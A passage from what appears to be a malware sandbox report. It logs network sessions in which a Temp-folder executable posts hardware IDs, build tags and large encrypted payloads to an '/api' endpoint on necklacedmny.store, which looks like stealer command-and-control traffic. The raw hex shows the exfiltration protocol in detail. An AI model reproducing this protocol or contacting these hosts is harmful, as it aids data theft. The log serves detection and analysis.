19	192.168.2.5	50039	188.114.97.3	443	4912	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:25 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551247 Host: necklacedmny.store
2024-10-29 04:03:25 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 44 32 45 43 39 32 32 33 45 34 39 30 41 31 44 41 38 41 44 44 37 38 30 44 39 44 37 42 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"10D2EC9223E490A1DA8ADD780D9D7B6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 04:03:25 UTC	15331	OUT	Data Raw: d0 80 dd 52 ab 38 2e 6b 7f f8 c9 de bc 3c a9 b8 03 7b fa b1 65 c1 2c 31 ba 87 0e de f4 6d 0c af 99 a6 00 7c 7e cb 17 fc c9 72 67 bd 81 29 9b 5a cc d5 f5 07 e1 b3 52 fd 4d 52 2b ef a6 9a e5 c6 be 19 90 94 66 70 5f 0a 35 14 e1 2d a1 c5 0f bd 16 9a ff d4 f6 8f 61 ac 31 32 56 35 39 08 83 2c 9f 93 99 84 f4 40 48 72 6b 4e db 35 3e 51 74 bf a1 f1 03 e3 f7 21 93 51 64 e5 bb 0e b6 50 9e 01 42 5d e1 ab 51 cb 90 2f 31 3e 21 68 6e b5 70 d5 bd 04 9a 72 2e 78 62 f9 a7 3e f3 7a 43 d3 0c ba 06 9f eb 09 dd 51 ff 81 ef 8b 3d a6 54 8c 4b 0b 0f 28 b1 f7 10 14 08 96 c2 6f 5e 9d b4 4e 14 a0 2c 4d aa 7d 4f 0a 8b ba b0 15 1d 7c 22 72 3f dd eb 4f 99 b2 b6 36 17 54 e8 0a 8e 0c ae 28 32 fa 6e db 23 c1 71 24 f9 30 ce 3f 11 72 77 00 b5 e4 66 08 0e e2 8e 49 8c 52 fc d9 1b 4a 80 76 04 Data Ascii: R8.k<{e,1m\|~rg)ZRMR+fp_5-a12V59,@HrkN5>Qt!QdPB]Q/1>!hnpr.xb>zCQ=TK(o^N,M}O\|"r?O6T(2n#q$0?rwfIRJv
2024-10-29 04:03:25 UTC	15331	OUT	Data Raw: 11 55 ab 44 f9 fa 27 b9 fd c2 f2 13 c1 1b 6d 6e 0a 01 69 65 38 70 af 84 0a b0 c2 12 a8 da 7c c3 74 5c 5a 2a f1 44 98 f3 9e a7 c2 ad 59 1a de d9 b1 75 4f d3 63 ea 28 03 92 de 5e 5c 15 25 a1 ab c7 c9 89 a8 b7 92 85 81 e8 4f c3 94 b8 e8 38 0a 6e 77 1b ea f6 2d 51 9f 50 3e 31 8f 14 19 87 08 37 9b 13 58 61 88 ef 2f e3 82 cb c2 8d 28 ff c4 39 c4 8b 00 25 e5 52 fe 85 da 8e 60 84 be e0 6c 6d 06 43 62 6b 55 df 78 46 e9 f7 68 95 f1 58 6d 85 f2 54 6f 82 0a 3e 3b 2e 02 53 ba ed d6 46 ac 67 56 b2 33 06 b3 be 15 a4 9a 2a cc 2d 0a 1e 69 89 64 b9 2f fc c6 09 1f 89 b4 b4 9b c8 a9 68 d3 8e 5b e3 34 b1 dc 0b 9a 66 f8 e6 9a c7 8d af dc 0e 0f 6d ae 1f 59 f7 35 a5 05 88 b6 c9 a5 46 dc ee 5d d5 22 7f f5 25 b6 19 76 84 cb 32 cf d5 e4 21 da 71 13 92 99 d2 3e 82 d5 a7 da b2 d0 5d Data Ascii: UD'mnie8p\|t\ZDYuOc(^\%O8nw-QP>17Xa/(9%R`lmCbkUxFhXmTo>;.SFgV3-id/h[4fmY5F]"%v2!q>]
2024-10-29 04:03:25 UTC	15331	OUT	Data Raw: 47 11 46 4f 9b 38 a2 31 4b ee 44 b9 fa cd 83 b7 04 18 3a 72 67 7f f8 7d 49 33 fe ef 9d ad 10 43 2f 3a a8 ef f9 1c ff 8f 10 42 07 98 53 47 7e 46 61 ab 00 0f ce e1 ed 30 80 77 e7 90 c7 d2 9d c9 d9 ff f7 ec f0 53 a0 eb 0c d2 82 61 e4 a6 01 bd 3b fd 2a b0 76 c7 37 b4 f3 81 f8 59 ef 0e 9d be 48 b7 62 b1 97 af d2 03 5a 2c d0 e4 7f 60 0f e1 38 09 78 8f 4b 58 a9 2a 90 3a 2f ca e8 fc f3 84 ce d8 3e 0c 3b 12 6c 8a 71 7e a7 6d 9a f0 80 87 0f 65 1a a9 93 eb 87 23 a8 ff fd f1 9b 52 38 ff 4f 4e 84 18 df cd 24 33 d8 21 10 08 92 19 bf 02 55 19 65 a5 f4 a4 1b a4 0a d4 f4 45 ea 37 01 46 ba 84 38 1a 4e 7e 1c 47 e0 44 97 88 ad fc b6 0a 3f ea d1 c7 fb 15 e7 48 6d dc d5 8c df d3 ac bc 52 a7 95 a5 98 38 92 e4 92 8e 0e ef 33 3d 58 89 66 67 e3 d7 56 1c d7 84 05 76 0b e6 17 90 f5 Data Ascii: GFO81KD:rg}I3C/:BSG~Fa0wSa;v7YHbZ,`8xKX:/>;lq~me#R8ON$3!UeE7F8N~GD?HmR83=XfgVv
2024-10-29 04:03:25 UTC	15331	OUT	Data Raw: 4c 1d d4 87 af e2 5f f9 6f 15 83 a8 ef ce 81 9c ee 2e b5 a1 f4 40 b6 5f 1a cb 6a cd e4 ec 25 72 d5 a6 df 9a 3e 1e 3f 71 9c f3 ee fc 1c 9f 14 fe 00 9e 8e e0 55 16 ce f5 6d 78 73 d8 8d 34 24 27 f1 b1 1b e2 4d 93 99 46 1f 14 ea aa 17 47 3a 2b 02 25 7f 9f 51 66 28 88 bc 02 74 3c c7 4f 3b 33 3a ac 43 c3 03 42 5e 72 4c 08 e2 78 03 25 26 b6 f8 06 19 45 0e c5 b1 84 fd 76 c6 11 c8 8f 1d 97 b7 3b 46 4c 2a 30 90 15 da b7 e7 1c cb fd d4 09 2f 31 1d b1 ed 9f cb 27 35 31 f7 e5 42 ef fc 3b 9d e4 3e 33 43 4a 5b 93 dc 4c f4 c6 ef 03 e7 3e 38 35 19 77 1e 04 2f 0f 27 79 f2 71 96 fa 60 6d ed d3 88 56 c4 35 85 60 c3 b4 2f ca fd dd 10 a2 c5 39 75 7c 50 31 f4 f2 bf b7 a0 0a 0b 9f 8b 0b 59 67 5d 02 71 a5 10 83 00 7f 0d c4 58 42 20 75 8e 51 68 93 79 41 42 d7 e8 07 94 59 fb 61 66 Data Ascii: L_o.@_j%r>?qUmxs4$'MFG:+%Qf(t<O;3:CB^rLx%&Ev;FL*0/1'51B;>3CJ[L>85w/'yq`mV5`/9u\|P1Yg]qXB uQhyABYaf
2024-10-29 04:03:25 UTC	15331	OUT	Data Raw: 66 b9 e2 1d 06 9a ac c3 05 18 27 e5 85 90 39 5f 7f e0 59 ee cf b9 47 a4 08 80 69 5b 6f a9 03 a9 6e 02 29 d4 a1 8d 26 34 3c cc 09 71 3b 9b bf ce 99 ad 4e 28 35 62 77 4b a1 5e 69 b0 da b1 13 3d b0 a2 55 0f bc 66 f8 fb 0a 09 47 00 0b ac e5 3f 04 d6 17 f8 35 f9 c1 11 44 21 05 e8 b4 2d f0 e7 64 d4 92 b4 39 31 ac 8c 0a ae 18 a8 7a e7 ed b3 32 f4 59 6d 6b 9e 3d f6 9f b7 02 47 18 38 87 9d c1 82 58 5e a0 b9 d0 c2 e4 2f fe 73 1c 87 e2 79 a1 65 f7 39 66 c8 fe ab 90 6e 8d 74 ca b4 a0 4a 54 44 6f f6 66 84 bc 2a 42 9a 59 df 7c 92 1c 31 65 2e f8 ae 42 d3 64 40 c7 a3 24 f2 10 79 cd b3 43 6f fe 43 c1 01 13 bf df 38 23 3d ac 04 50 c1 46 99 02 f8 8a b5 3a 1a 8a c5 80 ad a7 d2 3a 2a 20 97 e0 6b a7 09 7d a4 c1 ad 97 21 86 a5 dc 4e 9c 08 83 99 e2 5d b7 67 5e 8c a7 6e 46 c3 27 Data Ascii: f'9_YGi[on)&4<q;N(5bwK^i=UfG?5D!-d91z2Ymk=G8X^/sye9fntJTDofBY\|1e.Bd@$yCoC8#=PF:: k}!N]g^nF'
2024-10-29 04:03:25 UTC	15331	OUT	Data Raw: 0b fc 4d 32 0d 20 ca 3f 7e 7a 22 bc 62 3f 9a 97 b3 69 81 1a b6 27 21 42 6d 66 c5 5a d7 cf 9c 23 2a 3c 23 e7 e3 8e 6d b7 78 ac 95 27 f0 67 b4 cb 54 15 ba fc df 3e 34 23 46 c3 72 fc 57 71 5a b5 84 8c 3f 7c 7e a7 6b 01 5b 55 02 d5 85 7b 12 a8 f5 e3 84 4d e6 d1 a8 f7 e2 5a e3 e0 5b ea 89 b4 10 89 4c e5 09 84 1d 93 62 1f fe 87 2f 4f 91 45 42 b0 4f 9e 2b fb dd 1f dc 7c 2f bf 66 d6 4e 9b a7 cf 4d ab 2c c1 88 1d 86 7b 3d f9 4e 52 c4 d1 49 2d 14 ed de 56 9b d8 68 d8 6f f4 4d bd e6 78 6f 76 76 5b 09 64 ed 20 c2 4f e1 df 90 c0 5f 75 88 fd 33 48 94 82 f1 88 b7 2d 6d 87 70 6a 0a 27 2f 35 bc 33 46 75 95 15 dd 53 c8 49 d4 1c e7 b8 be 4c c2 5b dd 23 cd 1a fa 61 af 9f 93 a1 25 7a 27 c0 6d a5 2c 81 a9 ce a9 02 7f d4 de 32 d7 41 9b 16 93 3c f3 76 03 84 24 78 1b 9c b8 8c bc Data Ascii: M2 ?~z"b?i'!BmfZ#*<#mx'gT>4#FrWqZ?\|~k[U{MZ[Lb/OEBO+\|/fNM,{=NRI-VhoMxovv[d O_u3H-mpj'/53FuSIL[#a%z'm,2A<v$x
2024-10-29 04:03:25 UTC	15331	OUT	Data Raw: bd 8e e3 16 0f 43 24 50 72 e3 1c df d8 55 0f 89 a0 d7 48 1a ff 3e d1 3f 26 db 06 e5 41 9e 46 b0 c6 5b 63 f5 59 25 42 09 12 fe 85 ac 7f 71 3d a9 5a 09 8d 6d 76 6f 17 2b df 7b ce 21 bd 12 e3 1b 48 20 13 1a ca b4 28 d8 4b 37 08 03 31 da 86 78 a1 86 11 e3 10 df 0e f7 8b 0f b1 97 ea 0c e4 f1 c5 a8 2b e9 84 bb 87 cd 5a bc 2f 3d 20 64 3a f9 b1 7f d3 2d b3 6b 80 5f 14 55 fb df 93 f1 e2 e0 90 e4 a3 dd 7e 83 c2 c5 c0 dd f1 ad 22 98 95 43 4c 90 f2 03 38 be e8 53 5f d4 69 a7 8f 93 be d2 9c 35 45 e9 4b 8d d1 4d 48 d4 40 5a 31 28 1c e2 43 04 28 42 ad 3d fd 16 e1 86 d6 ab 2d 96 52 e7 74 f1 ed 11 b4 00 ef 42 09 f0 14 26 be bb 20 4c ca 7d 84 5d 0c 5a eb 3f 12 63 e8 0f 76 a6 44 fa 9e 37 61 14 be 4b 5d b2 da 39 28 5f 74 b8 01 41 7a 82 86 a5 10 62 32 6f 4f 68 fd 94 f2 38 af Data Ascii: C$PrUH>?&AF[cY%Bq=Zmvo+{!H (K71x+Z/= d:-k_U~"CL8S_i5EKMH@Z1(C(B=-RtB& L}]Z?cvD7aK]9(_tAzb2oOh8
2024-10-29 04:03:25 UTC	15331	OUT	Data Raw: dc e4 a8 4c fb 73 8e 86 0a 1d b7 28 c3 2f b1 ca f3 dd fd 30 af ef d9 3e ab 0b c8 60 25 2a 4c 7b 90 1f 44 33 55 ee d4 d2 82 99 8f 70 f8 49 95 76 fb 85 6a 54 59 3d 6b 31 98 9f 87 c4 43 48 f6 1e 05 61 86 b5 7e ee 0b a2 1f ea b7 ca d0 0f ef e1 4c 8a 38 9e da 69 ed 2d 70 91 23 9b 8d 27 e2 15 06 58 63 41 05 5e 66 31 71 d1 b7 2a ac bb 54 07 5b e1 df 2b e2 fb 62 37 c4 6e 76 b3 54 79 83 2a d5 a2 bf 37 99 71 9b f3 1f 5a 8f 0d 3f 74 8f 0a 71 22 d4 ef ef 1f 51 5a 65 2a 87 27 84 a8 85 0c 95 45 21 e8 bb d3 e3 c3 40 59 18 df 0b 78 4d 7a 8e 9f f6 60 79 fd d7 30 6c fe db bb bc 0b e0 26 52 7f 1e 17 02 c7 de db 9b 11 9f 17 23 dd 9b 3e 54 18 fe ae 89 17 28 f8 96 cd 98 38 5c 30 ca 0d 9f 3c a0 47 9d 1c f3 38 fe a4 96 0c f4 c4 a6 01 c2 fd 52 41 19 54 50 51 8d a5 47 21 0b a0 85 Data Ascii: Ls(/0>`%L{D3UpIvjTY=k1CHa~L8i-p#'XcA^f1qT[+b7nvTy7qZ?tq"QZe'E!@YxMz`y0l&R#>T(8\0<G8RATPQG!
2024-10-29 04:03:25 UTC	15331	OUT	Data Raw: a7 a5 58 3f 2e 27 ca 47 82 d0 29 3c 8a 51 a7 30 2e 84 c0 4b b0 c5 f5 25 88 12 cc 27 c7 d2 f0 29 3e 2e 0e e2 b2 57 9b 0a 33 f4 e2 43 f8 0f 71 31 28 59 48 7d 41 ac 48 d6 38 62 2e 85 97 50 f9 69 12 ff a6 45 b2 de 28 88 d0 2a 0d ef 7d b8 e6 9a 60 2a 05 7a 4d 2a 50 1a 21 0e b2 11 84 de 9b 7b 58 c9 ad 3f 3e a5 5a 18 1f 58 9f 7a 94 84 d7 10 6e 7f 87 07 c6 49 9b e7 27 f8 ef 93 3f f2 6c 40 f5 81 16 81 f7 85 3a a1 de f3 8a 97 be c6 45 d2 6d 99 0b 11 ee 03 13 a6 7a 9f 83 69 9a e8 1a 23 e3 2e 5d 10 3a ff 73 3a c3 68 20 ea 93 36 c7 75 bc 65 dd a6 65 b3 83 6f 34 a6 55 10 e1 d3 43 fa 81 0b bc 7f cd f8 f5 16 a2 b1 09 fd b1 84 cd a2 ca 89 7a f7 81 64 de 8c 38 eb 57 4f 72 e5 9b c1 cd e7 95 eb 03 36 e5 b4 9b ac 5f 73 0a 05 b4 45 56 10 f7 9c 28 44 5b 1c 22 04 90 32 c3 3e 54 Data Ascii: X?.'G)<Q0.K%')>.W3Cq1(YH}AH8b.PiE(}`zM*P!{X?>ZXznI'?l@:Emzi#.]:s:h 6ueeo4UCzd8WOr6_sEV(D["2>T
2024-10-29 04:03:30 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=um42bi2t39eosrhb8hqlsvqks1; expires=Fri, 21 Feb 2025 21:50:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vkfO9y8HmMjVVkryxDx8pbXcJwRrP88Cl9B9EXb2orT8TBNa4kGfYCcKnSWStPGAia94zksGV0U7UcNHqBzmrdPWScmH6pBLXIczksmW1LFHhuqQqIroNQfLj1B8FT2SDYvIr5M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da046940846e7d3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1554&sent=222&recv=592&lost=0&retrans=0&sent_bytes=2845&recv_bytes=553730&delivery_rate=2048090&cwnd=231&unsent_bytes=0&cid=15768befbcaa02e3&ts=5632&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50041	188.114.97.3	443	1680	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:25 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-29 04:03:25 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 44 32 45 43 39 32 32 33 45 34 39 30 41 31 44 41 38 41 44 44 37 38 30 44 39 44 37 42 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"10D2EC9223E490A1DA8ADD780D9D7B6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 04:03:26 UTC	1021	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6ftdct6bgcc6si46grq9118pnj; expires=Fri, 21 Feb 2025 21:50:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e9RDJlLFXsrUMZU0KjFqNj8013quhXaAykLrCq1TyWfuUyncxGxR85PFBC14jqV%2BC5k92nGWngIRyj7Xruug%2FllHPga0EJilIVG2x7UbwQAiX7%2FjdgKPgle%2F3%2FTa2kMJ9sNQGLg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da04696eb264754-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1056&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16024&delivery_rate=2618444&cwnd=247&unsent_bytes=0&cid=7a919488050399aa&ts=560&x=0"
2024-10-29 04:03:26 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 04:03:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50043	188.114.97.3	443	1680	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:27 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-29 04:03:27 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 44 32 45 43 39 32 32 33 45 34 39 30 41 31 44 41 38 41 44 44 37 38 30 44 39 44 37 42 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"10D2EC9223E490A1DA8ADD780D9D7B6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 04:03:27 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-29 04:03:30 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=22fq2ohb0g046ep6qjm577tgnr; expires=Fri, 21 Feb 2025 21:50:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hp6nFBgud5DIuUhAvlDsvkwN76ztx0Z1KIPBlhEzMP%2B5geEUezfTXvC6aZQYaGwsMmKAnMZFcvVjulSMudsw%2FQR%2BMCqVBU6RnavafiyhLUiM2Rac9hh0OdmrsgroIrYVhDVtW6g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da046a218e76b82-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1196&sent=9&recv=25&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21536&delivery_rate=2431570&cwnd=251&unsent_bytes=0&cid=06d3adae8d997b6b&ts=3305&x=0"
2024-10-29 04:03:30 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 04:03:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50046	188.114.97.3	443	892	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:29 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-29 04:03:29 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 31 30 44 32 45 43 39 32 32 33 45 34 39 30 41 31 44 41 38 41 44 44 37 38 30 44 39 44 37 42 36 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=10D2EC9223E490A1DA8ADD780D9D7B6B
2024-10-29 04:03:29 UTC	1009	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ao891omlqmk0jafc7o1r4u7i5d; expires=Fri, 21 Feb 2025 21:50:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tvxKxM7hN0xvz7C72qQN56wyFuG7WgAQufhSHYY9iMSTrv1lI9UMaoP1yYwHqGzMOYNE8mhuxMqXhwGQCVCicOk3Gmz5o9nrfPEpu2gkrQyg4L%2BaemphB46ASjolpvNg8KK0l2k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da046ab59804760-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1103&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2639927&cwnd=246&unsent_bytes=0&cid=681211b1914f291d&ts=483&x=0"
2024-10-29 04:03:29 UTC	130	IN	Data Raw: 37 63 0d 0a 2f 71 6b 43 35 41 79 72 30 63 43 66 47 6e 66 49 61 7a 6e 4c 6e 58 51 76 35 65 76 55 44 59 2b 44 53 43 7a 65 4e 33 6f 34 30 48 57 6c 30 69 43 52 4c 70 48 7a 71 4f 74 75 42 2f 49 33 46 70 65 79 52 52 66 51 78 65 59 38 75 71 31 35 48 65 30 5a 53 77 36 4d 57 70 48 50 5a 4c 67 6a 7a 37 53 6d 73 58 38 50 72 55 6b 56 36 66 73 41 44 64 2f 62 2b 43 2f 71 6f 58 49 63 6f 32 6f 3d 0d 0a Data Ascii: 7c/qkC5Ayr0cCfGnfIaznLnXQv5evUDY+DSCzeN3o40HWl0iCRLpHzqOtuB/I3FpeyRRfQxeY8uq15He0ZSw6MWpHPZLgjz7SmsX8PrUkV6fsADd/b+C/qoXIco2o=
2024-10-29 04:03:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50052	188.114.97.3	443	1680	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:32 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1255 Host: necklacedmny.store
